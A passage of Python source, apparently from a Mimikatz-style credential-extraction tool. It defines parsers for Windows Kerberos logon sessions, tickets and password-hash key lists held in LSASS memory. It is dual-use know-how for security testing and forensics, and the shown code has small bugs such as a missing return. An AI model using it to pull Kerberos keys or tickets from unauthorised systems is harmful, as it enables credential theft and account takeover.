reader.align() res.unk0 = await LIST_ENTRY.load(reader) res.unk1 = await PVOID.loadvalue(reader) res.unk1b = await ULONG.loadvalue(reader) await reader.align() res.unk2 = await FILETIME.loadvalue(reader) res.unk4 = await PVOID.loadvalue(reader) res.unk5 = await PVOID.loadvalue(reader) res.unk6 = await PVOID.loadvalue(reader) res.LocallyUniqueIdentifier = await LUID.loadvalue(reader) res.unk7 = await FILETIME.loadvalue(reader) res.unk8 = await PVOID.loadvalue(reader) res.unk8b = await ULONG.loadvalue(reader) await reader.align() res.unk9 = await FILETIME.load(reader) res.unk11 = await PVOID.loadvalue(reader) res.unk12 = await PVOID.loadvalue(reader) res.unk13 = await PVOID.loadvalue(reader) await reader.align(8) res.credentials = await KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607.load(reader) res.unk14 = await ULONG.loadvalue(reader) res.unk15 = await ULONG.loadvalue(reader) res.unk16 = await ULONG.loadvalue(reader) res.unk17 = await ULONG.loadvalue(reader) res.unk18 = await PVOID.loadvalue(reader) res.unk19 = await PVOID.loadvalue(reader) res.unk20 = await PVOID.loadvalue(reader) res.unk21 = await PVOID.loadvalue(reader) res.unk22 = await PVOID.loadvalue(reader) res.unk23 = await PVOID.loadvalue(reader) #self.unk24 = PVOID(reader).value #self.unk25 = PVOID(reader).value await reader.align() #reader.read(8+12) #input('pkeylist \n' + hexdump(reader.peek(0x50))) res.pKeyList = await PVOID.load(reader) res.unk26 = await PVOID.loadvalue(reader) res.Tickets_1 = await LIST_ENTRY.load(reader) res.unk27 = await FILETIME.loadvalue(reader) res.Tickets_2 = await LIST_ENTRY.load(reader) res.unk28 = await FILETIME.loadvalue(reader) res.Tickets_3 = await LIST_ENTRY.load(reader) res.unk29 = await FILETIME.loadvalue(reader) res.SmartcardInfos = await PVOID.load(reader) return res class KIWI_KERBEROS_LOGON_SESSION_10_1607_X86: def __init__(self): self.UsageCount = None self.unk0 = None self.unk1 = None self.unk1b = None self.unk2 = None self.unk4 = None self.unk5 = None self.unk6 = None self.LocallyUniqueIdentifier = None self.unk7 = None self.unk8 = None self.unk8b = None self.unk9 = None self.unk11 = None self.unk12 = None self.unk13 = None self.unkAlign = None self.credentials = None self.unk14 = None self.unk15 = None self.unk16 = None self.unk17 = None self.unk18 = None self.unk19 = None self.unk20 = None self.unk21 = None self.unk22 = None self.unk23 = None self.pKeyList = None self.unk26 = None self.Tickets_1 = None self.unk27 = None self.Tickets_2 = None self.unk28 = None self.Tickets_3 = None self.unk29 = None self.SmartcardInfos = None @staticmethod async def load(reader): res = KIWI_KERBEROS_LOGON_SESSION_10_1607_X86() res.UsageCount = await ULONG.loadvalue(reader) await reader.align() res.unk0 = await LIST_ENTRY.load(reader) res.unk1 = await PVOID.loadvalue(reader) res.unk1b = await ULONG.loadvalue(reader) await reader.align() res.unk2 = await FILETIME.loadvalue(reader) res.unk4 = await PVOID.loadvalue(reader) res.unk5 = await PVOID.loadvalue(reader) res.unk6 = await PVOID.loadvalue(reader) res.LocallyUniqueIdentifier = await LUID.loadvalue(reader) #input('LocallyUniqueIdentifier\n' + hex(self.LocallyUniqueIdentifier)) res.unk7 = await FILETIME.loadvalue(reader) res.unk8 = await PVOID.loadvalue(reader) res.unk8b = await ULONG.loadvalue(reader) await reader.align() res.unk9 = await FILETIME.loadvalue(reader) res.unk11 = await PVOID.loadvalue(reader) res.unk12 = await PVOID.loadvalue(reader) res.unk13 = await PVOID.loadvalue(reader) res.unkAlign = await ULONG.loadvalue(reader) #input('credentials \n' + hexdump(reader.peek(0x200))) res.credentials = await KIWI_KERBEROS_10_PRIMARY_CREDENTIAL_1607.load(reader) res.unk14 = await ULONG.loadvalue(reader) res.unk15 = await ULONG.loadvalue(reader) res.unk16 = await ULONG.loadvalue(reader) res.unk17 = await ULONG.loadvalue(reader) res.unk18 = await PVOID.loadvalue(reader) res.unk19 = await PVOID.loadvalue(reader) res.unk20 = await PVOID.loadvalue(reader) res.unk21 = await PVOID.loadvalue(reader) res.unk22 = await PVOID.loadvalue(reader) res.unk23 = await PVOID.loadvalue(reader) #self.unk24 = PVOID(reader).value #self.unk25 = PVOID(reader).value await reader.align() res.pKeyList = await PVOID.load(reader) res.unk26 = await PVOID.loadvalue(reader) #input('Tickets_1 \n' + hexdump(reader.peek(0x200))) res.Tickets_1 = await LIST_ENTRY.load(reader) res.unk27 = await FILETIME.loadvalue(reader) res.Tickets_2 = await LIST_ENTRY.load(reader) res.unk28 = await FILETIME.loadvalue(reader) res.Tickets_3 = await LIST_ENTRY.load(reader) res.unk29 = await FILETIME.loadvalue(reader) res.SmartcardInfos = await PVOID.load(reader) return res class PKIWI_KERBEROS_INTERNAL_TICKET_51(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_KERBEROS_INTERNAL_TICKET_51() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_KERBEROS_INTERNAL_TICKET_51 return p class KIWI_KERBEROS_INTERNAL_TICKET_51: def __init__(self): self.Flink = None self.Blink = None self.unk0 = None self.unk1 = None self.ServiceName = None self.TargetName = None self.DomainName = None self.TargetDomainName = None self.Description = None self.AltTargetDomainName = None self.ClientName = None self.TicketFlags = None self.unk2 = None self.KeyType = None self.Key = None self.unk3 = None self.unk4 = None self.unk5 = None self.unk6 = None self.unk7 = None self.unk8 = None self.StartTime = None self.EndTime = None self.RenewUntil = None self.unk9 = None self.unk10 = None self.domain = None self.unk11 = None self.strangeNames = None self.unk12 = None self.TicketEncType = None self.TicketKvno = None self.Ticket = None @staticmethod async def load(reader): res = KIWI_KERBEROS_INTERNAL_TICKET_51() res.Flink = await PKIWI_KERBEROS_INTERNAL_TICKET_51.load(reader) res.Blink = await PKIWI_KERBEROS_INTERNAL_TICKET_51.load(reader) res.unk0 = await PVOID.loadvalue(reader) res.unk1 = await PVOID.loadvalue(reader) res.ServiceName = await PKERB_EXTERNAL_NAME.load(reader) res.TargetName = await PKERB_EXTERNAL_NAME.load(reader) res.DomainName = await LSA_UNICODE_STRING.load(reader) res.TargetDomainName = await LSA_UNICODE_STRING.load(reader) res.Description = await LSA_UNICODE_STRING.load(reader) res.AltTargetDomainName = await LSA_UNICODE_STRING.load(reader) res.ClientName = await PKERB_EXTERNAL_NAME.load(reader) x = await reader.read(4) res.TicketFlags = int.from_bytes(x, byteorder = 'big', signed = False) res.unk2 = await ULONG.loadvalue(reader) res.KeyType = await ULONG.loadvalue(reader) res.Key = await KIWI_KERBEROS_BUFFER.load(reader) res.unk3 = await PVOID.loadvalue(reader) res.unk4 = await PVOID.loadvalue(reader) res.unk5 = await PVOID.loadvalue(reader) res.unk6 = await PVOID.loadvalue(reader) res.unk7 = await PVOID.loadvalue(reader) res.unk8 = await PVOID.loadvalue(reader) res.StartTime = await FILETIME.loadvalue(reader) res.EndTime = await FILETIME.loadvalue(reader) res.RenewUntil = await FILETIME.loadvalue(reader) res.unk9 = await ULONG.loadvalue(reader) res.unk10 = await ULONG.loadvalue(reader) res.domain = await PCWSTR.loadvalue(reader) res.unk11 = await ULONG.loadvalue(reader) res.strangeNames = await PVOID.loadvalue(reader) res.unk12 = await ULONG.loadvalue(reader) res.TicketEncType = await ULONG.loadvalue(reader) res.TicketKvno = await ULONG.loadvalue(reader) res.Ticket = await KIWI_KERBEROS_BUFFER.load(reader) return res class PKIWI_KERBEROS_INTERNAL_TICKET_52(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_KERBEROS_INTERNAL_TICKET_52() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_KERBEROS_INTERNAL_TICKET_52 return p class KIWI_KERBEROS_INTERNAL_TICKET_52: def __init__(self): self.Flink = None self.Blink = None self.unk0 = None self.unk1 = None self.ServiceName = None self.TargetName = None self.DomainName = None self.TargetDomainName = None self.Description = None self.AltTargetDomainName = None self.ClientName = None self.name0 = None self.TicketFlags = None self.unk2 = None self.KeyType = None self.Key = None self.unk3 = None self.unk4 = None self.unk5 = None self.StartTime = None self.EndTime = None self.RenewUntil = None self.unk6 = None self.unk7 = None self.domain = None self.unk8 = None self.strangeNames = None self.unk9 = None self.TicketEncType = None self.TicketKvno = None self.Ticket = None @staticmethod async def load(reader): res = KIWI_KERBEROS_INTERNAL_TICKET_52() res.Flink = await PKIWI_KERBEROS_INTERNAL_TICKET_52.load(reader) res.Blink = await PKIWI_KERBEROS_INTERNAL_TICKET_52.load(reader) res.unk0 = await PVOID.loadvalue(reader) res.unk1 = await PVOID.loadvalue(reader) res.ServiceName = await PKERB_EXTERNAL_NAME.load(reader) res.TargetName = await PKERB_EXTERNAL_NAME.load(reader) res.DomainName = await LSA_UNICODE_STRING.load(reader) res.TargetDomainName = await LSA_UNICODE_STRING.load(reader) res.Description = await LSA_UNICODE_STRING.load(reader) res.AltTargetDomainName = await LSA_UNICODE_STRING.load(reader) res.ClientName = await PKERB_EXTERNAL_NAME.load(reader) res.name0 = await PVOID.loadvalue(reader) x = await reader.read(4) res.TicketFlags = int.from_bytes(x, byteorder = 'big', signed = False) res.unk2 = await ULONG.loadvalue(reader) res.KeyType = await ULONG.loadvalue(reader) res.Key = await KIWI_KERBEROS_BUFFER.load(reader) res.unk3 = await PVOID.loadvalue(reader) res.unk4 = await PVOID.loadvalue(reader) res.unk5 = await PVOID.loadvalue(reader) res.StartTime = await FILETIME.loadvalue(reader) res.EndTime = await FILETIME.loadvalue(reader) res.RenewUntil= await FILETIME.loadvalue(reader) res.unk6 = await ULONG.loadvalue(reader) res.unk7 = await ULONG.loadvalue(reader) res.domain = await PCWSTR.loadvalue(reader) res.unk8 = await ULONG.loadvalue(reader) res.strangeNames = await PVOID.loadvalue(reader) res.unk9 = await ULONG.loadvalue(reader) res.TicketEncType = await ULONG.loadvalue(reader) res.TicketKvno = await ULONG.load(reader) res.Ticket = await KIWI_KERBEROS_BUFFER.load(reader) return res class PKIWI_KERBEROS_INTERNAL_TICKET_60(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_KERBEROS_INTERNAL_TICKET_60() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_KERBEROS_INTERNAL_TICKET_60 return p class KIWI_KERBEROS_INTERNAL_TICKET_60: def __init__(self): self.Flink = None self.Blink = None self.unk0 = None self.unk1 = None self.ServiceName = None self.TargetName = None self.DomainName = None self.TargetDomainName = None self.Description = None self.AltTargetDomainName = None self.ClientName = None self.name0 = None self.TicketFlags = None self.unk2 = None self.KeyType = None self.Key = None self.unk3 = None self.unk4 = None self.unk5 = None self.StartTime = None self.EndTime = None self.RenewUntil = None self.unk6 = None self.unk7 = None self.domain = None self.unk8 = None self.strangeNames = None self.unk9 = None self.TicketEncType = None self.TicketKvno = None self.Ticket = None @staticmethod async def load(reader): res = KIWI_KERBEROS_INTERNAL_TICKET_60() res.Flink = await PKIWI_KERBEROS_INTERNAL_TICKET_60.load(reader) res.Blink = await PKIWI_KERBEROS_INTERNAL_TICKET_60.load(reader) res.unk0 = await PVOID.loadvalue(reader) res.unk1 = await PVOID.loadvalue(reader) res.ServiceName = await PKERB_EXTERNAL_NAME.load(reader) res.TargetName = await PKERB_EXTERNAL_NAME.load(reader) res.DomainName = await LSA_UNICODE_STRING.load(reader) res.TargetDomainName = await LSA_UNICODE_STRING.load(reader) res.Description = await LSA_UNICODE_STRING.load(reader) res.AltTargetDomainName = await LSA_UNICODE_STRING.load(reader) res.ClientName = await PKERB_EXTERNAL_NAME.load(reader) res.name0 = await PVOID.loadvalue(reader) x = await reader.read(4) res.TicketFlags = int.from_bytes(x, byteorder = 'big', signed = False) res.unk2 = await ULONG.loadvalue(reader) res.KeyType = await ULONG.loadvalue(reader) res.Key = await KIWI_KERBEROS_BUFFER.load(reader) res.unk3 = await PVOID.loadvalue(reader) res.unk4 = await PVOID.loadvalue(reader) res.unk5 = await PVOID.loadvalue(reader) res.StartTime = await FILETIME.loadvalue(reader) res.EndTime = await FILETIME.loadvalue(reader) res.RenewUntil = await FILETIME.loadvalue(reader) res.unk6 = await ULONG.loadvalue(reader) res.unk7 = await ULONG.loadvalue(reader) res.domain = await PCWSTR.loadvalue(reader) res.unk8 = await ULONG.loadvalue(reader) res.strangeNames = await PVOID.loadvalue(reader) res.unk9 = await ULONG.loadvalue(reader) res.TicketEncType = await ULONG.loadvalue(reader) res.TicketKvno = await ULONG.loadvalue(reader) res.Ticket = await KIWI_KERBEROS_BUFFER.load(reader) return res class PKIWI_KERBEROS_INTERNAL_TICKET_6(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_KERBEROS_INTERNAL_TICKET_6() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_KERBEROS_INTERNAL_TICKET_6 return p class KIWI_KERBEROS_INTERNAL_TICKET_6: def __init__(self): self.Flink = None self.Blink = None self.unk0 = None self.unk1 = None self.ServiceName = None self.TargetName = None self.DomainName = None self.TargetDomainName = None self.Description = None self.AltTargetDomainName = None self.KDCServer = None self.ClientName = None self.name0 = None self.TicketFlags = None self.unk2 = None self.KeyType = None self.Key = None self.unk3 = None self.unk4 = None self.unk5 = None self.StartTime = None self.EndTime = None self.RenewUntil = None self.unk6 = None self.unk7 = None self.domain = None self.unk8 = None self.strangeNames = None self.unk9 = None self.TicketEncType = None self.TicketKvno = None self.Ticket = None @staticmethod async def load(reader): res = KIWI_KERBEROS_INTERNAL_TICKET_6() res.Flink = await PKIWI_KERBEROS_INTERNAL_TICKET_6.load(reader) res.Blink = await PKIWI_KERBEROS_INTERNAL_TICKET_6.load(reader) res.unk0 = await PVOID.loadvalue(reader) res.unk1 = await PVOID.loadvalue(reader) res.ServiceName = await PKERB_EXTERNAL_NAME.load(reader) res.TargetName = await PKERB_EXTERNAL_NAME.load(reader) res.DomainName = await LSA_UNICODE_STRING.load(reader) res.TargetDomainName = await LSA_UNICODE_STRING.load(reader) res.Description = await LSA_UNICODE_STRING.load(reader) res.AltTargetDomainName = await LSA_UNICODE_STRING.load(reader) res.KDCServer = await LSA_UNICODE_STRING.load(reader) # //?(reader).value res.ClientName = await PKERB_EXTERNAL_NAME.load(reader) res.name0 = await PVOID.loadvalue(reader) x = await reader.read(4) res.TicketFlags = int.from_bytes(x, byteorder = 'big', signed = False)#ULONG(reader).value res.unk2 = await ULONG.loadvalue(reader) res.KeyType = await ULONG.loadvalue(reader) await reader.align() res.Key = await KIWI_KERBEROS_BUFFER.load(reader) res.unk3 = await PVOID.loadvalue(reader) res.unk4 = await PVOID.loadvalue(reader) res.unk5 = await PVOID.loadvalue(reader) res.StartTime = await FILETIME.loadvalue(reader) res.EndTime = await FILETIME.loadvalue(reader) res.RenewUntil = await FILETIME.loadvalue(reader) res.unk6 = await ULONG.loadvalue(reader) res.unk7 = await ULONG.loadvalue(reader) res.domain = await PCWSTR.loadvalue(reader) res.unk8 = await ULONG.loadvalue(reader) await reader.align() res.strangeNames = await PVOID.loadvalue(reader) res.unk9 = await ULONG.loadvalue(reader) res.TicketEncType = await ULONG.loadvalue(reader) res.TicketKvno = await ULONG.loadvalue(reader) await reader.align() res.Ticket = await KIWI_KERBEROS_BUFFER.load(reader) return res class PKIWI_KERBEROS_INTERNAL_TICKET_10(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_KERBEROS_INTERNAL_TICKET_10() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_KERBEROS_INTERNAL_TICKET_10 return p class KIWI_KERBEROS_INTERNAL_TICKET_10: def __init__(self): #input('KIWI_KERBEROS_INTERNAL_TICKET_10\n' + hexdump(reader.peek(0x100))) self.Flink = None self.Blink = None self.unk0 = None self.unk1 = None self.ServiceName = None self.TargetName = None self.DomainName = None self.TargetDomainName = None self.Description = None self.AltTargetDomainName = None self.KDCServer = None self.unk10586_d = None self.ClientName = None self.name0 = None self.TicketFlags = None self.unk2 = None self.KeyType = None self.Key = None self.unk3 = None self.unk4 = None self.unk5 = None self.StartTime = None self.EndTime = None self.RenewUntil = None self.unk6 = None self.unk7 = None self.domain = None self.unk8 = None self.strangeNames = None self.unk9 = None self.TicketEncType = None self.TicketKvno = None self.Ticket = None @staticmethod async def load(reader): res = KIWI_KERBEROS_INTERNAL_TICKET_10() res.Flink = await PKIWI_KERBEROS_INTERNAL_TICKET_10.load(reader) res.Blink = await PKIWI_KERBEROS_INTERNAL_TICKET_10.load(reader) res.unk0 = await PVOID.loadvalue(reader) res.unk1 = await PVOID.loadvalue(reader) res.ServiceName = await PKERB_EXTERNAL_NAME.load(reader) res.TargetName = await PKERB_EXTERNAL_NAME.load(reader) res.DomainName = await LSA_UNICODE_STRING.load(reader) res.TargetDomainName = await LSA_UNICODE_STRING.load(reader) res.Description = await LSA_UNICODE_STRING.load(reader) res.AltTargetDomainName = await LSA_UNICODE_STRING.load(reader) res.KDCServer = await LSA_UNICODE_STRING.load(reader)# //?(reader).value res.unk10586_d = await LSA_UNICODE_STRING.load(reader)# //?(reader).value res.ClientName = await PKERB_EXTERNAL_NAME.load(reader) res.name0 = await PVOID.loadvalue(reader) x = await reader.read(4) res.TicketFlags = int.from_bytes(x, byteorder = 'big', signed = False) res.unk2 = await ULONG.loadvalue(reader) res.KeyType = await ULONG.loadvalue(reader) await reader.align() res.Key = await KIWI_KERBEROS_BUFFER.load(reader) res.unk3 = await PVOID.loadvalue(reader) res.unk4 = await PVOID.loadvalue(reader) res.unk5 = await PVOID.loadvalue(reader) await reader.align(8) res.StartTime = await FILETIME.loadvalue(reader) res.EndTime = await FILETIME.loadvalue(reader) res.RenewUntil = await FILETIME.loadvalue(reader) res.unk6 = await ULONG.loadvalue(reader) res.unk7 = await ULONG.loadvalue(reader) res.domain = await PCWSTR.loadvalue(reader) res.unk8 = await ULONG.loadvalue(reader) await reader.align() res.strangeNames = await PVOID.loadvalue(reader) res.unk9 = await ULONG.loadvalue(reader) res.TicketEncType = await ULONG.loadvalue(reader) res.TicketKvno = await ULONG.loadvalue(reader) await reader.align() res.Ticket = await KIWI_KERBEROS_BUFFER.load(reader) class PKIWI_KERBEROS_INTERNAL_TICKET_11(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_KERBEROS_INTERNAL_TICKET_11() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_KERBEROS_INTERNAL_TICKET_11 return p class KIWI_KERBEROS_INTERNAL_TICKET_11: def __init__(self): self.Flink = None self.Blink = None self.unk0 = None self.unk1 = None self.ServiceName = None self.TargetName = None self.DomainName = None self.TargetDomainName = None self.Description = None self.AltTargetDomainName = None self.KDCServer = None self.unk10586_d = None self.ClientName = None self.name0 = None self.TicketFlags = None self.unk2 = None self.unk14393_0 = None self.unk2x = None self.KeyType = None self.Key = None self.unk14393_1 = None self.unk3 = None self.unk4 = None self.unk5 = None self.StartTime = None self.EndTime = None self.RenewUntil = None self.unk6 = None self.unk7 = None self.domain = None self.unk8 = None self.strangeNames = None self.unk9 = None self.TicketEncType = None self.TicketKvno = None self.Ticket = None @staticmethod async def load(reader): res = KIWI_KERBEROS_INTERNAL_TICKET_11() res.Flink = await PKIWI_KERBEROS_INTERNAL_TICKET_11.load(reader) res.Blink = await PKIWI_KERBEROS_INTERNAL_TICKET_11.load(reader) res.unk0 = await PVOID.loadvalue(reader) res.unk1 = await PVOID.loadvalue(reader) res.ServiceName = await PKERB_EXTERNAL_NAME.load(reader) res.TargetName = await PKERB_EXTERNAL_NAME.load(reader) res.DomainName = await LSA_UNICODE_STRING.load(reader) res.TargetDomainName = await LSA_UNICODE_STRING.load(reader) res.Description = await LSA_UNICODE_STRING.load(reader) res.AltTargetDomainName = await LSA_UNICODE_STRING.load(reader) res.KDCServer = await LSA_UNICODE_STRING.load(reader) # //?(reader).value res.unk10586_d = await LSA_UNICODE_STRING.load(reader) #//?(reader).value res.ClientName = await PKERB_EXTERNAL_NAME.load(reader) res.name0 = await PVOID.loadvalue(reader) x = await reader.read(4) res.TicketFlags = int.from_bytes(x, byteorder = 'big', signed = False) res.unk2 = await ULONG.loadvalue(reader) res.unk14393_0 = await PVOID.loadvalue(reader) res.unk2x = await ULONG.loadvalue(reader) res.KeyType = await ULONG.loadvalue(reader) res.Key = await KIWI_KERBEROS_BUFFER.load(reader) res.unk14393_1 = await PVOID.loadvalue(reader) res.unk3 = await PVOID.loadvalue(reader) # // ULONG KeyType2 = (reader).value res.unk4 = await PVOID.loadvalue(reader) # // KIWI_KERBEROS_BUFFER Key2 = (reader).value res.unk5 = await PVOID.loadvalue(reader) # // up(reader).value res.StartTime = await FILETIME.loadvalue(reader) res.EndTime = await FILETIME.loadvalue(reader) res.RenewUntil = await FILETIME.loadvalue(reader) res.unk6 = await ULONG.loadvalue(reader) res.unk7 = await ULONG.loadvalue(reader) res.domain = await PCWSTR.loadvalue(reader) res.unk8 = await ULONG.loadvalue(reader) await reader.align() res.strangeNames = await PVOID.loadvalue(reader) res.unk9 = await ULONG.loadvalue(reader) res.TicketEncType = await ULONG.loadvalue(reader) res.TicketKvno = await ULONG.loadvalue(reader) await reader.align() res.Ticket = await KIWI_KERBEROS_BUFFER.load(reader) return res class PKIWI_KERBEROS_INTERNAL_TICKET_10_1607(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_KERBEROS_INTERNAL_TICKET_10_1607() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_KERBEROS_INTERNAL_TICKET_10_1607 return p class KIWI_KERBEROS_INTERNAL_TICKET_10_1607: def __init__(self): self.Flink = None self.Blink = None self.unk0 = None self.unk1 = None self.ServiceName = None self.TargetName = None self.DomainName = None self.TargetDomainName = None self.Description = None self.AltTargetDomainName = None self.KDCServer = None self.unk10586_d = None self.ClientName = None self.name0 = None self.TicketFlags = None self.unk2 = None self.unk14393_0 = None self.KeyType = None self.Key = None self.unk14393_1 = None self.unk3 = None self.unk4 = None self.unk5 = None self.StartTime = None self.EndTime = None self.RenewUntil = None self.unk6 = None self.unk7 = None self.domain = None self.unk8 = None self.strangeNames = None self.unk9 = None self.TicketEncType = None self.TicketKvno = None self.Ticket = None @staticmethod async def load(reader): res = KIWI_KERBEROS_INTERNAL_TICKET_10_1607() res.Flink = await PKIWI_KERBEROS_INTERNAL_TICKET_10_1607.load(reader) res.Blink = await PKIWI_KERBEROS_INTERNAL_TICKET_10_1607.load(reader) res.unk0 = await PVOID.loadvalue(reader) res.unk1 = await PVOID.loadvalue(reader) res.ServiceName = await PKERB_EXTERNAL_NAME.load(reader) res.TargetName = await PKERB_EXTERNAL_NAME.load(reader) res.DomainName = await LSA_UNICODE_STRING.load(reader) res.TargetDomainName = await LSA_UNICODE_STRING.load(reader) res.Description = await LSA_UNICODE_STRING.load(reader) res.AltTargetDomainName = await LSA_UNICODE_STRING.load(reader) res.KDCServer = await LSA_UNICODE_STRING.load(reader) # //?(reader).value res.unk10586_d = await LSA_UNICODE_STRING.load(reader) #//?(reader).value res.ClientName = await PKERB_EXTERNAL_NAME.load(reader) res.name0 = await PVOID.loadvalue(reader) x = await reader.read(4) res.TicketFlags = int.from_bytes(x, byteorder = 'big', signed = False) res.unk2 = await ULONG.loadvalue(reader) res.unk14393_0 = await PVOID.loadvalue(reader) res.KeyType = await ULONG.loadvalue(reader) await reader.align() res.Key = await KIWI_KERBEROS_BUFFER.load(reader) res.unk14393_1 = await PVOID.loadvalue(reader) res.unk3 = await PVOID.loadvalue(reader) # // ULONG KeyType2 = (reader).value res.unk4 = await PVOID.loadvalue(reader) # // KIWI_KERBEROS_BUFFER Key2 = (reader).value res.unk5 = await PVOID.loadvalue(reader) # // up(reader).value res.StartTime = await FILETIME.loadvalue(reader) res.EndTime = await FILETIME.loadvalue(reader) res.RenewUntil = await FILETIME.loadvalue(reader) res.unk6 = await ULONG.loadvalue(reader) res.unk7 = await ULONG.loadvalue(reader) res.domain = await PCWSTR.loadvalue(reader) res.unk8 = await ULONG.loadvalue(reader) await reader.align() res.strangeNames = await PVOID.loadvalue(reader) res.unk9 = await ULONG.loadvalue(reader) res.TicketEncType = await ULONG.loadvalue(reader) res.TicketKvno = await ULONG.loadvalue(reader) await reader.align() res.Ticket = await KIWI_KERBEROS_BUFFER.load(reader) return res class PKERB_HASHPASSWORD_GENERIC(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKERB_HASHPASSWORD_GENERIC() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KERB_HASHPASSWORD_GENERIC return p class KERB_HASHPASSWORD_GENERIC: def __init__(self): self.Type = None self.Size = None self.Checksump = None @staticmethod async def load(reader): res = KERB_HASHPASSWORD_GENERIC() res.Type = await DWORD.loadvalue(reader) await reader.align() res.Size = await SIZE_T.loadvalue(reader) res.Checksump = await PVOID.loadvalue(reader) return res class PKERB_HASHPASSWORD_5(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKERB_HASHPASSWORD_5() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KERB_HASHPASSWORD_5 return p class KERB_HASHPASSWORD_5: def __init__(self): self.salt = None self.generic = None @staticmethod async def load(reader): res = KERB_HASHPASSWORD_5() res.salt = await LSA_UNICODE_STRING.load(reader) # // http://tools.ietf.org/html/rfc3962 res.generic = await KERB_HASHPASSWORD_GENERIC.load(reader) return res class PKERB_HASHPASSWORD_6(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKERB_HASHPASSWORD_6() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KERB_HASHPASSWORD_6 return p class KERB_HASHPASSWORD_6 : def __init__(self): self.salt = None self.stringToKey = None self.generic = None @staticmethod async def load(reader): res = KERB_HASHPASSWORD_6() res.salt = await LSA_UNICODE_STRING.load(reader) #// http://tools.ietf.org/html/rfc3962 res.stringToKey = await PVOID.load(reader) # // AES Iterations (dword ?) res.generic = await KERB_HASHPASSWORD_GENERIC.load(reader) return res class PKERB_HASHPASSWORD_6_1607(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKERB_HASHPASSWORD_6_1607() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KERB_HASHPASSWORD_6_1607 return p class KERB_HASHPASSWORD_6_1607: def __init__(self): self.salt = None self.stringToKey = None self.unk0 = None self.generic = None @staticmethod async def load(reader): res = KERB_HASHPASSWORD_6_1607() res.salt = await LSA_UNICODE_STRING.load(reader) # // http://tools.ietf.org/html/rfc3962(reader).value res.stringToKey = await PVOID.loadvalue(reader) # // AES Iterations (dword ?)(reader).value res.unk0 = await PVOID.loadvalue(reader) res.generic = await KERB_HASHPASSWORD_GENERIC.load(reader) return res class PKIWI_KERBEROS_KEYS_LIST_5(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_KERBEROS_KEYS_LIST_5() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_KERBEROS_KEYS_LIST_5 return p class KIWI_KERBEROS_KEYS_LIST_5: def __init__(self): self.unk0 = None self.cbItem = None self.unk1 = None self.unk2 = None #//KERB_HASHPASSWORD_5 KeysEntries[ANYSIZE_ARRAY] = (reader).value self.KeyEntries_start = None self.KeyEntries = [] async def read(self, reader, keyentries_type): await reader.move(self.KeyEntries_start) for _ in range(self.cbItem): ke = await keyentries_type.load(reader) self.KeyEntries.append(ke) @staticmethod async def load(reader): res = KIWI_KERBEROS_KEYS_LIST_5() res.unk0 = await DWORD.loadvalue(reader) #// dword_1233EC8 dd 4 res.cbItem = await DWORD.loadvalue(reader) #// debug048:01233ECC dd 5(reader).value res.unk1 = await PVOID.loadvalue(reader) res.unk2 = await PVOID.loadvalue(reader) res.KeyEntries_start = reader.tell() return res class PKIWI_KERBEROS_KEYS_LIST_6(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_KERBEROS_KEYS_LIST_6() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_KERBEROS_KEYS_LIST_6 return p class KIWI_KERBEROS_KEYS_LIST_6: def __init__(self): self.unk0 = None # // dword_1233EC8 dd 4(reader).value self.cbItem = None # // debug048:01233ECC dd 5(reader).value self.unk1 = None self.unk2 = None self.unk3 = None self.unk4 = None self.KeyEntries_start = None self.KeyEntries = [] async def read(self, reader, keyentries_type): await reader.move(self.KeyEntries_start) for _ in range(self.cbItem): ke = await keyentries_type.load(reader) self.KeyEntries.append(ke) #//KERB_HASHPASSWORD_6 KeysEntries[ANYSIZE_ARRAY] = (reader).value @staticmethod async def load(reader): res = KIWI_KERBEROS_KEYS_LIST_6() res.unk0 = await DWORD.loadvalue(reader) # // dword_1233EC8 dd 4(reader).value res.cbItem = await DWORD.loadvalue(reader) # // debug048:01233ECC dd 5(reader).value res.unk1 = await PVOID.loadvalue(reader) res.unk2 = await PVOID.loadvalue(reader) res.unk3 = await PVOID.loadvalue(reader) res.unk4 = await PVOID.loadvalue(reader) res.KeyEntries_start = reader.tell() return res class PKIWI_KERBEROS_ENUM_DATA_TICKET(POINTER): def __init__(self): super().__init__() @staticmethod async def load(reader): p = PKIWI_KERBEROS_ENUM_DATA_TICKET() p.location = reader.tell() p.value = await reader.read_uint() p.finaltype = KIWI_KERBEROS_ENUM_DATA_TICKET return p class KIWI_KERBEROS_ENUM_DATA_TICKET: def __init__(self): self.isTicketExport = None self.isFullTicket = None @staticmethod async def load(reader): res = KIWI_KERBEROS_ENUM_DATA_TICKET() res.isTicketExport = await BOOL.loadvalue(reader) res.isFullTicket = await BOOL.loadvalue(reader) return res class KIWI_KERBEROS_BUFFER: def __init__(self): self.Length = None self.Value = None ##not part of struct self.Data = None async def read(self, reader): await reader.move(self.Value.value) self.Data = await reader.read(self.Length) return self.Data @staticmethod async def load(reader): res = KIWI_KERBEROS_BUFFER() res.Length = await 